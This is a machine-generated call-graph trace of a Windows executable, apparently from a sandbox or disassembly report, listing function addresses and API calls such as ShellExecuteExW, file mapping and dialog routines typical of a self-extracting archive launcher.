28061->28062 28063 db3a9d ShellExecuteExW 28062->28063 28064 d914a7 28 API calls 28062->28064 28065 db3b7c 28063->28065 28066 db3ab2 28063->28066 28067 db3a71 28064->28067 28065->28078 28128 d919a9 26 API calls 28065->28128 28068 db3ace IsWindowVisible 28066->28068 28069 db3ae5 WaitForInputIdle 28066->28069 28075 db3b30 CloseHandle 28066->28075 28126 da0e49 51 API calls 2 library calls 28067->28126 28068->28069 28071 db3ad9 ShowWindow 28068->28071 28119 db3fcf WaitForSingleObject 28069->28119 28071->28069 28073 db3a82 28077 d91a66 26 API calls 28073->28077 28079 db3b3d 28075->28079 28080 db3b48 28075->28080 28076 db3afb 28076->28075 28083 db3b08 GetExitCodeProcess 28076->28083 28081 db3a8e 28077->28081 28078->28050 28127 da8da4 CompareStringW 28079->28127 28080->28065 28084 db3b73 ShowWindow 28080->28084 28081->28063 28083->28075 28085 db3b19 28083->28085 28084->28065 28085->28075 28088 d9127d 28087->28088 28091 d9121d 28087->28091 28227 d91a92 28 API calls std::_Xinvalid_argument 28088->28227 28095 d91228 28091->28095 28226 d912d3 28 API calls Concurrency::cancel_current_task 28091->28226 28093 d91254 28094 d911b8 28 API calls 28093->28094 28094->28095 28095->28033 28096->28041 28097->28041 28098->28038 28099->28037 28102 d97493 28101->28102 28105 d97441 28101->28105 28111 d91a92 28 API calls std::_Xinvalid_argument 28102->28111 28109 d9744c 28105->28109 28110 d912d3 28 API calls Concurrency::cancel_current_task 28105->28110 28107 d97471 28108 d911b8 28 API calls 28107->28108 28108->28109 28109->28048 28110->28107 28113 d914bd _wcslen 28112->28113 28114 d9120c 28 API calls 28113->28114 28115 d914ca 28114->28115 28116 d9ed0d 28115->28116 28129 d9ed1f 28116->28129 28120 db3fea 28119->28120 28121 db402f 28119->28121 28122 db3fed PeekMessageW 28120->28122 28121->28076 28123 db3fff GetMessageW TranslateMessage DispatchMessageW 28122->28123 28124 db4020 WaitForSingleObject 28122->28124 28123->28124 28124->28121 28124->28122 28125->28057 28126->28073 28127->28080 28128->28078 28130 d9ed2b __EH_prolog3_GS 28129->28130 28131 d9ed38 GetFileAttributesW 28130->28131 28132 d9ed46 28131->28132 28139 d9edad 28131->28139 28141 da169a 28132->28141 28133 db5787 5 API calls 28135 d9ed16 28133->28135 28135->28061 28137 d9ed81 28137->28139 28198 d919a9 26 API calls 28137->28198 28138 d9ed78 GetFileAttributesW 28138->28137 28139->28133 28142 da16e0 28141->28142 28143 da16e7 28141->28143 28145 db5734 __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 28142->28145 28144 d914a7 28 API calls 28143->28144 28147 da16f4 28144->28147 28146 d9ed68 28145->28146 28146->28137 28146->28138 28148 da17db 28147->28148 28149 da1711 28147->28149 28209 da1309 28148->28209 28152 da171b 28149->28152 28157 da1741 28149->28157 28151 da18ed 28162 da1739 28151->28162 28222 d919a9 26 API calls 28151->28222 28199 da0ba6 28 API calls 28152->28199 28154 d91a66 26 API calls 28154->28142 28155 da1729 28159 d925a4 26 API calls 28155->28159 28156 da17fb 28156->28151 28160 da181f 28156->28160 28161 da1875 28156->28161 28157->28162 28200 d9769f 28157->28200 28163 da1731 28159->28163 28218 da0c41 28 API calls 28160->28218 28220 da0ba6 28 API calls 28161->28220 28162->28154 28165 d91a66 26 API calls 28163->28165 28165->28162 28166 da1883 28169 d925a4 26 API calls 28166->28169 28172 da188c 28169->28172 28170 da1838 28219 d91188 28 API calls 28170->28219 28175 d91a66 26 API calls 28172->28175 28178 da1894 28175->28178 28176 da1848 28183 d925a4 26 API calls 28176->28183 28177 da179e 28208 d9aef3 28 API calls 28177->28208 28221 da0ddb 28 API calls 28178->28221 28181 da17b2 28182 d925a4 26 API calls 28181->28182 28184 da17be 28182->28184 28185 da1860 28183->28185 28186 d91a66 26 API calls 28184->28186 28187 d91a66 26 API calls 28185->28187 28189 da17c6 28186->28189 28191 da1868 28187->28191 28188 d9769f 45 API calls 28195 da1870 28188->28195 28192 d91a66 26 API calls 28189->28192 28190 da189c 28190->28188 28193 d91a66 26 API calls 28191->28193 28194 da17ce 28192->28194 28193->28195 28196 d91a66 26 API calls 28194->28196 28197 d91a66 26 API calls 28195->28197 28196->28162 28197->28151 28198->28139 28199->28155 28201 d976e1 28200->28201 28203 d976bb 28200->28203 28223 d958cb 45 API calls 28201->28223 28205 d9120c 28 API calls 28203->28205 28206 d976db 28205->28206 28207 da0bf3 28 API calls _wcslen 28206->28207 28207->28177 28208->28181 28224 db57a5 28209->28224 28211 da1315 GetCurrentDirectoryW 28212 da1327 28211->28212 28216 da1323 28211->28216 28225 d91bbd 28 API calls 28212->28225 28214 da1339 GetCurrentDirectoryW 28215 da1356 _wcslen 28214->28215 28215->28216 28217 d912a7 26 API calls 28215->28217 28216->28156 28217->28216 28218->28170 28219->28176 28220->28166 28221->28190 28222->28162 28224->28211 28225->28214 28226->28093 28228 d9e0b0 28229 d9e0c9 28228->28229 28232 d9e850 28229->28232 28233 d9e862 28232->28233 28234 d9e875 28232->28234 28235 d9e0fb 28233->28235 28241 d99490 109 API calls 28233->28241 28234->28235 28237 d9e888 SetFilePointer 28234->28237 28237->28235 28238 d9e8a4 GetLastError 28237->28238 28238->28235 28239 d9e8ae 28238->28239 28239->28235 28242 d99490 109 API calls 28239->28242 28241->28234 28242->28235 28243 db6452 28244 db645e __FrameHandler3::FrameUnwindToState 28243->28244 28275 db5e63 28244->28275 28246 db6465 28247 db65b8 28246->28247 28250 db648f 28246->28250 28378 db6878 IsProcessorFeaturePresent IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter _abort 28247->28378 28249 db65bf 28371 dbee14 28249->28371 28262 db64ce ___scrt_is_nonwritable_in_current_image ___scrt_release_startup_lock 28250->28262 28286 dbf9ad 28250->28286 28257 db64ae 28260 db6535 28295 dbf8fe 51 API calls 28260->28295 28266 db652f 28262->28266 28374 dbe9b0 38 API calls 3 library calls 28262->28374 28263 db653d 28296 db454a 28263->28296 28294 db6993 GetStartupInfoW _abort 28266->28294 28269 db6551 28269->28249 28270 db6555 28269->28270 28271 db655e 28270->28271 28376 dbedb7 28 API calls _abort 28270->28376 28377 db5fd4 12 API calls ___scrt_uninitialize_crt 28271->28377 28274 db6566 28274->28257 28276 db5e6c 28275->28276 28380 db6694 IsProcessorFeaturePresent 28276->28380 28278 db5e78 28381 db96d9 10 API calls 2 library calls 28278->28381 28280 db5e7d 28281 db5e81 28280->28281 28382 dbf837 28280->28382 28281->28246 28284 db5e98 28284->28246 28289 dbf9c4 28286->28289 28287 db5734 __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 28288 db64a8 28287->28288 28288->28257 28290 dbf951 28288->28290 28289->28287 28291 dbf980 28290->28291 28292 db5734 __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 28291->28292 28293 dbf9a9 28292->28293 28293->28262 28294->28260 28295->28263 28390 da6d7b 28296->28390 28299 da1309 30 API calls 28300 db4572 28299->28300 28472 daf4d4 28300->28472 28302 db457b _abort 28476 daf89a 28302->28476 28306 db4608 GetCommandLineW 28307 db46f9 28306->28307 28308 db4618 28306->28308 28310 da13f9 29 API calls 28307->28310 28309 d914a7 28 API calls 28308->28309 28312 db4622 28309->28312 28311 db4703 28310->28311 28313 d925a4 26 API calls 28311->28313 28314 db19ee 115 API calls 28312->28314 28315 db4710 28313->28315 28316 db462c 28314->28316 28317 d91a66 26 API calls 28315->28317 28318 d91a66 26 API calls 28316->28318 28319 db4719 SetEnvironmentVariableW GetLocalTime 28317->28319 28320 db4635 28318->28320 28324 d9f6ba _swprintf 51 API calls 28319->28324 28322 db46dc 28320->28322 28323 db4642 OpenFileMappingW 28320->28323 28325 d914a7 28 API calls 28322->28325 28326 db465b MapViewOfFile 28323->28326 28327 db46d2 CloseHandle 28323->28327 28328 db477e SetEnvironmentVariableW GetModuleHandleW LoadIconW 28324->28328 28329 db46e6 28325->28329 28326->28327 28330 db466b UnmapViewOfFile MapViewOfFile 28326->28330 28327->28307 28331 db07e5 34 API calls 28328->28331 28332 db3efc 30 API calls 28329->28332 28330->28327 28333 db4689 28330->28333 28334 db47bc 28331->28334 28335 db46f0 28332->28335 28336 dafc38 28 API calls 28333->28336 28337 da3538 133 API calls 28334->28337 28338 d91a66 26 API calls 28335->28338 28339 db4699 28336->28339 28340 db47cc 28337->28340 28338->28307 28341 db3efc 30 API calls 28339->28341 28343 dad255 28 API calls 28340->28343 28342 db46a2 28341->28342 28344 da5109 114 API calls 28342->28344 28345 db47d8 28343->28345 28346 db46b5 28344->28346 28347 dad255 28 API calls 28345->28347 28349 da51bf 114 API calls 28346->28349 28348 db47e1 DialogBoxParamW 28347->28348 28350 dad347 26 API calls 28348->28350 28351 db46c0 28349->28351 28352 db481e 28350->28352 28354 db46cb UnmapViewOfFile 28351->28354 28353 dad347 26 API calls 28352->28353 28355 db482a 28353->28355 28354->28327 28356 db483a 28355->28356 28357 db4833 Sleep 28355->28357 28358 db4848 28356->28358 28359 dafb4b 48 API calls 28356->28359 28357->28356 28360 db4852 DeleteObject 28358->28360 28359->28358 28361 db486e 28360->28361 28362 db4867 DeleteObject 28360->28362 28363 db489e 28361->28363 28364 db48b0 28361->28364 28362->28361 28365 db3fcf 6 API calls 28363->28365 28367 daf53a GdiplusShutdown CoUninitialize 28364->28367 28366 db48a4 CloseHandle 28365->28366 28366->28364 28368 db48ea 28367->28368 28369 db5734 __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 28368->28369 28370 db48fd 28369->28370 28375 db69c9 GetModuleHandleW 28370->28375 28579 dbeb91 28371->28579 28374->28266 28375->28269 28376->28271 28377->28274 28378->28249 28380->28278 28381->28280 28386 dc2d0a 28382->28386 28385 db96f8 7 API calls 2 library calls 28385->28281 28389 dc2d23 28386->28389 28387 db5734 __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 28388 db5e8a 28387->28388 28388->28284 28388->28385 28389->28387 28492 db5b20 28390->28492 28393 da6e28 28395 da719b 28393->28395 28542 dbe50e 42 API calls __vsnwprintf_l 28393->28542 28394 da6dd3 GetProcAddress 28396 da6dfd GetProcAddress 28394->28396 28397 da6de5 28394->28397 28494 da13f9 28395->28494 28396->28393 28398 da6e0f 28396->28398 28397->28396 28398->28393 28401 da7098 28401->28395 28404 da13f9 29 API calls 28401->28404 28402 da71a6 28505 da2117 28402->28505 28405 da70ac 28404->28405 28406 da70ba 28405->28406 28407 da70bd CreateFileW 28405->28407 28406->28407 28409 da70db SetFilePointer 28407->28409 28410 da7186 CloseHandle 28407->28410 28409->28410 28412 da70ed ReadFile 28409->28412 28411 d91a66 26 API calls 28410->28411 28414 da7199 28411->28414 28412->28410 28413 da7109 28412->28413 28416 da711a 28413->28416 28417 da73f2 28413->28417 28414->28395 28415 d914a7 28 API calls 28426 da71ba 28415->28426 28419 d914a7 28 API calls 28416->28419 28548 db5ce1 SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess IsProcessorFeaturePresent 28417->28548 28427 da7133 28419->28427 28422 da73f7 28423 da71de CompareStringW 28423->28426 28424 d91a66 26 API calls 28424->28426 28426->28415 28426->28423 28426->28424 28428 d9ed1f 49 API calls 28426->28428 28445 da7248 28426->28445 28509 da067e 28426->28509 28514 da6c5e 28426->28514 28538 da229d 28426->28538 28429 da7176 28427->28429 28433 da6c5e 30 API calls 28427->28433 28543 da6366 28427->28543 28428->28426 28432 d91a66 26 API calls 28429->28432 28430 da729e 28547 da2187 45 API calls 28430->28547 28431 da73bd 28435 d91a66 26 API calls 28431->28435 28436 da717e 28432->28436 28433->28427 28439 da73c5 28435->28439 28440 d91a66 26 API calls 28436->28440 28437 d914a7 28 API calls 28437->28445 28438 da72a7 28442 da067e 6 API calls 28438->28442 28443 d91a66 26 API calls 28439->28443 28440->28410 28441 da229d 45 API calls 28441->28445 28446 da72ac 28442->28446 28444 da73cd 28443->28444 28447 db5734 __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 28444->28447 28445->28437 28445->28441 28448 d91a66 26 API calls 28445->28448 28456 d9ed1f 49 API calls 28445->28456 28463 da7292 28445->28463 28449 da7332 28446->28449 28450 da72b3 28446->28450 28453 da73e8 28447->28453 28448->28445 28452 da6a25 53 API calls 28449->28452 28451 da6c5e 30 API calls 28450->28451 28454 da72bd 28451->28454 28455 da735b AllocConsole 28452->28455 28453->28299 28457 da6c5e 30 API calls 28454->28457 28458 da7368 GetCurrentProcessId AttachConsole 28455->28458 28460 da7310 28455->28460 28456->28445 28459 da72c7 28457->28459 28462 da7383 28458->28462 28461 da4318 53 API calls 28459->28461 28465 da73b5 ExitProcess 28460->28465 28464 da72ec 28461->28464 28467 da738c GetStdHandle WriteConsoleW Sleep FreeConsole 28462->28467 28463->28430 28463->28431 28466 da6a25 53 API calls 28464->28466 28468 da72f6 28466->28468 28467->28460 28469 da4318 53 API calls 28468->28469 28470 da7307 28469->28470 28471 d914a7 28 API calls 28470->28471 28471->28460 28473 da6c5e 30 API calls 28472->28473 28474 daf4e8 OleInitialize 28473->28474 28475 daf50b GdiplusStartup SHGetMalloc 28474->28475 28475->28302 28477 d925a4 26 API calls 28476->28477 28478 daf8a8 28477->28478 28479 d925a4 26 API calls 28478->28479 28480 daf8b4 28479->28480 28481 d925a4 26 API calls 28480->28481 28482 daf8c0 28481->28482 28483 d925a4 26 API calls 28482->28483 28484 daf8cc 28483->28484 28485 daf84c 28484->28485 28486 d91a66 26 API calls 28485->28486 28487 daf857 28486->28487 28488 d91a66 26 API calls 28487->28488 28489 daf85f 28488->28489 28490 d91a66 26 API calls 28489->28490 28491 daf867 28490->28491 28493 da6d8d GetModuleHandleW 28492->28493 28493->28393 28493->28394 28495 da1405 __EH_prolog3 28494->28495 28496 db56f6 28 API calls 28495->28496 28497 da140f 28496->28497 28498 da1431 GetModuleFileNameW 28497->28498 28499 da1463 28497->28499 28549 d91be3 28497->28549 28498->28497 28498->28499 28501 d914a7 28 API calls 28499->28501 28502 da146c 28501->28502 28503 da147f 28502->28503 28504 d912a7 26 API calls 28502->28504 28503->28402 28504->28503 28506 da2124 28505->28506 28507 d9769f 45 API calls 28506->28507 28508 da2136 28507->28508 28508->28426 28510 da06a4 GetVersionExW 28509->28510 28511 da06d1 28509->28511 28510->28511 28512 db5734 __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 28511->28512 28513 da06fa 28512->28513 28513->28426 28515 da6c6a __EH_prolog3_GS 28514->28515 28516 db56f6 28 API calls 28515->28516 28517 da6c77 28516->28517 28518 da6c8d GetSystemDirectoryW 28517->28518 28519 da6cab 28518->28519 28536 da6ca4 28518->28536 28520 d914a7 28 API calls 28519->28520 28521 da6ccd 28520->28521 28523 d914a7 28 API calls 28521->28523 28522 da6d71 28525 db5787 5 API calls 28522->28525 28526 da6cda 28523->28526 28524 d912a7 26 API calls 28524->28522 28527 da6d78 28525->28527 28554 da1ad1 28526->28554 28527->28426 28530 d91a66 26 API calls 28531 da6cf7 28530->28531 28532 d91a66 26 API calls 28531->28532 28533 da6cff LoadLibraryW 28532->28533 28535 da6d1c 28533->28535 28533->28536 28535->28536 28564 d919a9 26 API calls 28535->28564 28536->28522 28536->28524 28539 da22a6 28538->28539 28566 da236c 28539->28566 28542->28401 28545 da6380 28543->28545 28544 da63b7 28544->28427 28545->28544 28546 d91b63 28 API calls 28545->28546 28546->28545 28547->28438 28548->28422 28550 d91c03 28549->28550 28551 d91bfb 28549->28551 28550->28551 28553 d91c33 28 API calls 28550->28553 28551->28497 28553->28551 28555 da1add __EH_prolog3_GS 28554->28555 28556 d97673 28 API calls 28555->28556 28557 da1aef 28556->28557 28559 da1b0c 28557->28559 28565 da0ddb 28 API calls 28557->28565 28560 d91a66 26 API calls 28559->28560 28561 da1b35 28560->28561 28562 db5787 5 API calls 28561->28562 28563 da1b3a 28562->28563 28563->28530 28564->28536 28565->28559 28567 da2378 28566->28567 28570 da238e 28567->28570 28569 da22b6 28569->28426 28571 da24e5 28570->28571 28574 da23a4 28570->28574 28578 d958cb 45 API calls 28571->28578 28575 da23bc 28574->28575 28577 da0c7f 28 API calls 28574->28577 28575->28569 28577->28575 28580 dbeb9d _unexpected 28579->28580 28581 dbebb6 28580->28581 28582 dbeba4 28580->28582 28603 dc18e1 EnterCriticalSection 28581->28603 28615 dbeceb GetModuleHandleW 28582->28615 28585 dbeba9 28585->28581 28616 dbed2f GetModuleHandleExW 28585->28616 28586 dbec5b 28604 dbec9b 28586->28604 28589 dbebbd 28589->28586 28591 dbec32 28589->28591 28624 dbf6a0 20 API calls _abort 28589->28624 28595 dbec4a 28591->28595 28600 dbf951 _abort 5 API calls 28591->28600 28593 dbec78 28607 dbecaa 28593->28607 28594 dbeca4 28625 dc8fc0 5 API calls __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 28594->28625 28596 dbf951 _abort 5 API calls 28595->28596 28596->28586 28600->28595 28603->28589 28626 dc1931 LeaveCriticalSection 28604->28626 28606 dbec74 28606->28593 28606->28594 28627 dc1d26 28607->28627 28610 dbecd8 28613 dbed2f _abort 8 API calls 28610->28613 28611 dbecb8 GetPEB 28611->28610 28612 dbecc8 GetCurrentProcess TerminateProcess 28611->28612 28612->28610 28614 dbece0 ExitProcess 28613->28614 28615->28585 28617 dbed59 GetProcAddress 28616->28617 28618 dbed7c 28616->28618 28622 dbed6e 28617->28622 28619 dbed8b 28618->28619 28620 dbed82 FreeLibrary 28618->28620 28621 db5734 __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 28619->28621 28620->28619 28623 dbebb5 28621->28623 28622->28618 28623->28581 28624->28591 28626->28606 28628 dc1d4b 28627->28628 28629 dc1d41 28627->28629 28634 dc1948 5 API calls __dosmaperr 28628->28634 28631 db5734 __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 28629->28631 28632 dbecb4 28631->28632 28632->28610 28632->28611 28633 dc1d62 28633->28629 28634->28633 28635 d9e3d5 28636 d9e3df 28635->28636 28639 d9e551 SetFilePointer 28636->28639 28641 d9e403 28636->28641 28637 db5734 __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 28638 d9e481 28637->28638 28640 d9e56e GetLastError 28639->28640 28639->28641 28640->28641 28641->28637 28642 db4b8a 28643 db4b33 28642->28643 28643->28642 28644 db4fce ___delayLoadHelper2@8 17 API calls 28643->28644 28644->28643 28648 db5680 28649 db5696 _com_error::_com_error 28648->28649 28650 db734a _com_raise_error RaiseException 28649->28650 28651 db56a4 28650->28651 28652 db4fce ___delayLoadHelper2@8 17 API calls 28651->28652 28653 db56bc 28652->28653 28654 db0900 28655 db090f __EH_prolog3_catch_GS 28654->28655 28900 d91e44 28655->28900 28658 db125b 29006 db3796 28658->29006 28659 db0940 28663 db0951 28659->28663 28664 db0a20 28659->28664 28706 db095f 28659->28706 28669 db095a 28663->28669 28670 db09fc 28663->28670 28666 db0ab0 28664->28666 28671 db0a36 28664->28671 28910 d91ce2 28666->28910 28667 db127b SendMessageW 28668 db128a 28667->28668 28672 db12a3 GetDlgItem SendMessageW 28668->28672 28673 db1293 SendDlgItemMessageW 28668->28673 28678 da4318 53 API calls 28669->28678 28669->28706 28675 db0a15 EndDialog 28670->28675 28670->28706 28676 da4318 53 API calls 28671->28676 28677 da1309 30 API calls 28672->28677 28673->28672 28675->28706 28680 db0a53 SetDlgItemTextW 28676->28680 28681 db12e3 GetDlgItem 28677->28681 28682 db098d 28678->28682 28685 db0a5f 28680->28685 28686 db1302 28681->28686 29053 d91900 29 API calls __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 28682->29053 28683 db0acb EndDialog 28830 db0ae4 28683->28830 28684 db0b01 GetDlgItem 28689 db0b38 SetFocus 28684->28689 28690 db0b15 SendMessageW SendMessageW 28684->28690 28693 db0a68 GetMessageW 28685->28693 28685->28706 29025 d91e05 28686->29025 28694 db0b48 28689->28694 28695 db0b6f 28689->28695 28690->28689 28692 db0994 28697 db09a4 28692->28697 28699 d91de7 SetDlgItemTextW 28692->28699 28700 db0a7f IsDialogMessageW 28693->28700 28693->28706 28702 da4318 53 API calls 28694->28702 28698 d97673 28 API calls 28695->28698 28696 db130c 29028 daf2ce GetClassNameW 28696->29028 28697->28706 29054 d919a9 26 API calls 28697->29054 28705 db0b7b 28698->28705 28699->28697 28700->28685 28707 db0a8e TranslateMessage DispatchMessageW 28700->28707 28701 db113a 28708 da4318 53 API calls 28701->28708 28709 db0b52 28702->28709 29072 db34eb 28 API calls __EH_prolog3_GS 28705->29072 29055 db5796 28706->29055 28707->28685 28714 db114b SetDlgItemTextW 28708->28714 28715 d914a7 28 API calls 28709->28715 28710 d91a66 26 API calls 28710->28706 28718 db1160 28714->28718 28719 db0b5b 28715->28719 28717 db0b88 28722 da4318 53 API calls 28717->28722 28723 da4318 53 API calls 28718->28723 29058 db3572 28719->29058 28721 db1346 28726 db1377 28721->28726 28730 da4318 53 API calls 28721->28730 28725 db0b9f 28722->28725 28727 db117e 28723->28727 28724 db1d4f 48 API calls 28724->28721 28729 da6a25 53 API calls 28725->28729 28731 db1490 28726->28731 28738 db1d4f 48 API calls 28726->28738 28728 d914a7 28 API calls 28727->28728 28734 db1187 28728->28734 28736 db0ba9 28729->28736 28737 db1359 SetDlgItemTextW 28730->28737 28735 db1595 28731->28735 28762 db1560 28731->28762 28781 d914a7 28 API calls 28731->28781 28792 da4318 53 API calls 28731->28792 28837 d91a66 26 API calls 28731->28837 28732 d91a66 26 API calls 28733 db0bce 28732->28733 28740 db0be0 28733->28740 29073 db3d64 26 API calls __EH_prolog3_GS 28733->29073 28741 db11f5 28734->28741 28752 d914a7 28 API calls 28734->28752 28747 db15ad 28735->28747 28748 db15a0 EnableWindow 28735->28748 28742 db3572 21 API calls 28736->28742 28743 da4318 53 API calls 28737->28743 28739 db138d 28738->28739 28755 db13ad 28739->28755 28769 db13ce 28739->28769 28746 db0c07 28740->28746 28758 d9ed0d 49 API calls 28740->28758 28745 da4318 53 API calls 28741->28745 28749 db0bbb 28742->28749 28750 db136d SetDlgItemTextW 28743->28750 28751 db11ff 28745->28751 28924 d9eaf3 28746->28924 28764 db15c8 28747->28764 29090 d91cc4 GetDlgItem KiUserCallbackDispatcher 28747->29090 28748->28747 28754 d91a66 26 API calls 28749->28754 28750->28726 28756 d914a7 28 API calls 28751->28756 28757 db11a6 28752->28757 28763 db0b6a 28754->28763 29087 dae265 34 API calls __EH_prolog3_GS 28755->29087 28773 db120b 28756->28773 28767 da4318 53 API calls 28757->28767 28768 db0bfd 28758->28768 28759 db1d4f 48 API calls 28759->28731 29089 dae265 34 API calls __EH_prolog3_GS 28762->29089 28763->28732 28766 db15f0 28764->28766 28775 db15e8 SendMessageW 28764->28775 28776 da4318 53 API calls 28766->28776 28766->28830 28793 db11b6 28767->28793 28768->28746 28777 db0c01 28768->28777 28787 db1d4f 48 API calls 28769->28787 28828 db147c 28769->28828 28770 db0c20 GetLastError 28771 db0c2b 28770->28771 28934 da2226 28771->28934 28786 d914a7 28 API calls 28773->28786 28774 db15bf 29091 d91cc4 GetDlgItem KiUserCallbackDispatcher 28774->29091 28775->28766 28782 db1609 SetDlgItemTextW 28776->28782 29074 dafa79 25 API calls __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 28777->29074 28781->28731 28782->28830 28784 db0c40 28788 db0c4c GetLastError 28784->28788 28789 db0c5d 28784->28789 28785 db1587 28790 d91a66 26 API calls 28785->28790 28791 db1224 28786->28791 28794 db1405 28787->28794 28788->28789 28795 db0cfd 28789->28795 28797 db0d0f 28789->28797 28800 db0c79 GetTickCount 28789->28800 28796 db1593 28790->28796 28804 d91a66 26 API calls 28791->28804 28792->28731 28808 d91a66 26 API calls 28793->28808 28799 db140e DialogBoxParamW 28794->28799 28794->28828 28795->28797 28798 db1046 28795->28798 28796->28735 28801 db0f94 28797->28801 28807 da13f9 29 API calls 28797->28807 28969 d91e1f GetDlgItem ShowWindow 28798->28969 28802 db142c EndDialog 28799->28802 28799->28828 28937 d9325c 28800->28937 28801->28683 29085 d99733 28 API calls _wcslen 28801->29085 28802->28706 28809 db1448 28802->28809 28811 db1243 28804->28811 28814 db0d39 28807->28814 28815 db11e9 28808->28815 28809->28706 29088 d919a9 26 API calls 28809->29088 28817 d91a66 26 API calls 28811->28817 28812 db105b 28970 d91e1f GetDlgItem ShowWindow 28812->28970 28813 db0fae 28832 da4318 53 API calls 28813->28832 29075 da505a 114 API calls 28814->29075 28821 d91a66 26 API calls 28815->28821 28824 db124e 28817->28824 28819 db1064 28826 da4318 53 API calls 28819->28826 28821->28741 28823 db0c9f 28829 d91a66 26 API calls 28823->28829 28825 d91a66 26 API calls 28824->28825 28825->28830 28831 db106e SetDlgItemTextW 28826->28831 28827 db0d51 28838 da6a25 53 API calls 28827->28838 28828->28759 28833 db0cab 28829->28833 28830->28710 28971 d91e1f GetDlgItem ShowWindow 28831->28971 28835 db0fd4 28832->28835 28947 d9de9a 28833->28947 28844 d91a66 26 API calls 28835->28844 28836 db1082 SetDlgItemTextW GetDlgItem 28840 db109f GetWindowLongW SetWindowLongW 28836->28840 28841 db10b7 28836->28841 28837->28731 28852 db0d80 GetCommandLineW 28838->28852 28840->28841 28972 db1d4f 28841->28972 28848 db0fea 28844->28848 28845 db0ce0 28960 d9ddc7 28845->28960 28846 db0cd5 GetLastError 28846->28845 28851 d91a66 26 API calls 28848->28851 28850 db1d4f 48 API calls 28855 db10ce 28850->28855 28856 db0ff6 28851->28856 28860 db0e05 _wcslen 28852->28860 28992 db3c78 28855->28992 28865 da4318 53 API calls 28856->28865 28858 d91a66 26 API calls 28858->28795 29076 db0405 5 API calls 2 library calls 28860->29076 28861 db0e23 29077 db0405 5 API calls 2 library calls 28861->29077 28864 db1d4f 48 API calls 28875 db10ef 28864->28875 28867 db100c 28865->28867 28866 db0e2f 29078 db0405 5 API calls 2 library calls 28866->29078 28870 d914a7 28 API calls 28867->28870 28869 db1110 29086 d91cc4 GetDlgItem KiUserCallbackDispatcher 28869->29086 28873 db1015 28870->28873 28871 db0e3b 29079 da5109 114 API calls 28871->29079 28880 d91a66 26 API calls 28873->28880 28875->28869 28878 db1d4f 48 API calls 28875->28878 28876 db0af5 28876->28683 28876->28701 28877 db0e4e 29080 db3e53 28 API calls __EH_prolog3 28877->29080 28878->28869 28882 db1031 28880->28882 28881 db0e6b CreateFileMappingW 28883 db0e9d MapViewOfFile 28881->28883 28884 db0ed5 ShellExecuteExW 28881->28884 28885 d91a66 26 API calls 28882->28885 28886 db0ed2 __InternalCxxFrameHandler 28883->28886 28887 db0ef3 28884->28887 28885->28683 28886->28884 28888 db0f3d 28887->28888 28889 db0f00 WaitForInputIdle 28887->28889 28892 db0f73 28888->28892 28893 db0f60 UnmapViewOfFile CloseHandle 28888->28893 28890 db0f1e 28889->28890 28890->28888 28891 db0f23 Sleep 28890->28891 28891->28888 28891->28890 29081 d92e8b 28892->29081 28893->28892 28896 d91a66 26 API calls 28897 db0f83 28896->28897 28898 d91a66 26 API calls 28897->28898 28899 db0f8e 28898->28899 28899->28801 28901 d91e4d 28900->28901 28902 d91ea6 28900->28902 28903 d91eb3 28901->28903 29092 da3eaa 64 API calls 3 library calls 28901->29092 29093 da3e83 GetWindowLongW SetWindowLongW 28902->29093 28903->28658 28903->28659 28903->28706 28906 d91e6f 28906->28903 28907 d91e82 GetDlgItem 28906->28907 28907->28903 28908 d91e92 28907->28908 28908->28903 28909 d91e98 SetWindowTextW 28908->28909 28909->28903 29094 db57d8 28910->29094 28912 d91cee GetDlgItem 28913 d91d0b 28912->28913 28914 d91d1d 28912->28914 28915 d914a7 28 API calls 28913->28915 29095 d91d64 28914->29095 28917 d91d18 28915->28917 28918 d91d4d 28917->28918 28919 d91a66 26 API calls 28917->28919 28920 d91d5a 28918->28920 28921 d91a66 26 API calls 28918->28921 28919->28918 28922 db5787 5 API calls 28920->28922 28921->28920 28923 d91d61 28922->28923 28923->28683 28923->28684 28923->28876 28931 d9eaff __EH_prolog3_GS 28924->28931 28925 db5787 5 API calls 28926 d9ebb6 28925->28926 28926->28770 28926->28771 28927 d9eb84 28928 d9efef 54 API calls 28927->28928 28930 d9eb09 28927->28930 28928->28930 28929 d9769f 45 API calls 28929->28931 28930->28925 28931->28927 28931->28929 28931->28930 28933 d91a66 26 API calls 28931->28933 29108 d9efef 28931->29108 28933->28931 28935 da2232 SetCurrentDirectoryW 28934->28935 28936 da2230 28934->28936 28935->28784 28936->28935 28938 d93280 28937->28938 29142 d92f0f 28938->29142 28941 db5734 __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 28942 d9329d 28941->28942 28943 d92f45 28942->28943 28944 d92f55 _wcslen 28943->28944 29146 d95962 28944->29146 28946 d92f63 28946->28823 28948 d9dea6 __EH_prolog3_GS 28947->28948 28949 d9def4 28948->28949 28950 d9df09 CreateFileW 28948->28950 28951 da169a 47 API calls 28949->28951 28958 d9df9e 28949->28958 28950->28949 28952 d9df49 28951->28952 28954 d9df6e 28952->28954 28956 d9df59 CreateFileW 28952->28956 28957 d9df56 28952->28957 28953 db5787 5 API calls 28955 d9dfdf 28953->28955 28954->28958 29155 d919a9 26 API calls 28954->29155 28955->28845 28955->28846 28956->28954 28957->28956 28958->28953 28961 d9ddf8 28960->28961 28962 d9de09 28960->28962 28961->28962 28964 d9de0b 28961->28964 28965 d9de04 28961->28965 28963 d91a66 26 API calls 28962->28963 28966 d9de18 28963->28966 29161 d9de50 28964->29161 29156 d9dfe2 